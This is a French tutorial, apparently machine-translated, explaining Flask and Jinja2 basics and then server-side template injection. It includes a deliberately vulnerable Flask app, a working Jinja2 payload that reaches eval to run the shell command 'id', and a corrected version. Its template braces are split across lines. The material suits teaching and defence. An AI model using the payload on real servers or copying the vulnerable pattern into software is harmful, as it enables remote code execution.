Article de référence: https://www.jianshu.com/p/a1d6ae580add
Notions de base
Qu'est-ce que Flask?
Flask est un framework d'application Web léger écrit en Python. Sa boîte à outils WSGI utilise Werkzeug et son moteur de modèle utilise Jinja2.
Flask vous fournit des outils, des bibliothèques et des technologies pour vous permettre de créer une application Web. Cette application Web peut être une page Web, un blog, un wiki, une application de calendrier Web ou un site Web d'entreprise.
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
Mettez simplement le code ci-dessus, les 1-2 premières lignes sont le processus d'initialisation. Les lignes 3 à 5 servent simplement à utiliser la fonction hello pour traiter la réponse lors de l'accès à http: //xxx.xx.xx/ .
Introduction à Jinja2
Jinja 2 est un langage de template moderne et convivial pour Python, qui est modelé sur les templates Django. Jinja prend en charge les instructions python
Jinja2 fait partie du modèle des
variables de syntaxe
Jinja2 utilise la
structure { {name}} pour représenter une variable, c'est un espace réservé spécial, indique au moteur de modèle que la valeur de cette position est obtenue à partir des données utilisées lors du rendu du modèle
Jinja2 peut reconnaître des variables de tous types, même certains types complexes, tels que des listes, des dictionnaires et des objets. De plus, vous pouvez également utiliser des filtres pour modifier les variables. Le nom du filtre est ajouté après le nom de la variable, séparé par une barre verticale. Par exemple, le modèle suivant affiche la valeur du nom de la variable en majuscules.
Hello, {
{
name|capitalize }}
if & for
instruction exemple simple d'instruction if
{
% if user %}
Hello,{
{
user}} !
{
% else %}
Hello,Stranger!
{
% endif %}
L'instruction for boucle pour rendre un ensemble d'éléments
<ul>
{
% for comment in comments %}
<li>{
{
comment}}</li>
{
% endfor %}
</ul>
Principe de vulnérabilité
Code source ( app.py )
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
test
Exploit
Utilisez le poc fourni par le site officiel
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("id").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
Correction d'un bug
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello,{
{n}} ")
return t.render(n=name)
if __name__ == "__main__":
app.run()
La 6ème ligne du code modifié ci-dessus, acheminez-le vers la page / safe pour les tests d'accès, vous pouvez voir que la vulnérabilité d'injection de code d'origine n'existe pas